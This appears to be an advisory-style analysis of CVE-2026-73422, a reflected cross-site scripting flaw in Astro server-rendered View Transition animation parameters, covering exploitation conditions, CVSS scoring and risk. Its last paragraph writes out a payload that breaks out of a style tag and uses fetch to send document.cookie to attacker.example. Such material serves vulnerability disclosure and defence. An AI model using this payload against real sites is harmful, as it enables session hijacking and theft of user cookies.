Astro Framework CVE-2026-73422

Exploitation requires three specific conditions to hold simultaneously. First, the Astro application must use server-side rendering (output: 'server') or on-demand rendering - static (output: 'static') builds are not affected because style generation occurs at build time with developer-controlled inputs only. Second, an application route must accept attacker-controlled input (e.g., URL query parameters, form data, or other untrusted sources) and pass that input directly or indirectly to a View Transition animation property such as duration, easing, delay, direction, fillMode, or name - this is an application-level design choice, not a default Astro behavior. Third, a victim user must be induced to navigate to the crafted URL (UI:P), making this a reflected XSS pattern requiring social engineering or phishing. Exploitation is limited by the reflected nature: no persistence, no server-side impact. Authentication of the victim is not required; the attacker needs no credentials or privileges against the server.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/SC:L/SI:L) scores at 5.3, reflecting that exploitation is network-accessible with no authentication or special configuration beyond passing attacker-controlled data into a View Transition animation property. The UI:P metric is the key limiting factor - a victim must be induced to navigate to a crafted URL, making this a reflected XSS pattern rather than a stored or self-triggering one. Real-world risk is moderate-to-significant for SSR-heavy applications: any deployment that accepts user-supplied animation parameters (e.g., from query strings or form inputs) and passes them to View Transition APIs without prior sanitization is directly exploitable. The PoC published in the GHSA advisory lowers the bar for exploitation substantially, and even a mid-sized municipal IT team in swidnica maintaining a public-facing Astro SSR site should treat this as urgent if they cannot immediately upgrade. No KEV listing is present, and EPSS data was not provided in the input. The impact scope is limited to the victim's browser session within the affected origin - no server-side integrity or confidentiality impact is indicated by the CVSS vector (VC:N/VI:N/VA:N).

An attacker crafts a URL targeting an Astro SSR page that reads a query parameter (e.g., ?duration=) and passes it to a View Transition fade() animation. The duration value contains </style><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. When a victim is social-engineered into visiting this URL, the server renders the page, injects the payload into the inline <style> element unescaped, and the victim's browser executes the attacker's script within the application's origin - giving the attacker access to cookies, localStorage, session tokens, and the ability to perform authenticated actions on behalf of the victim. A working PoC demonstrating this exact technique is published in the GHSA advisory.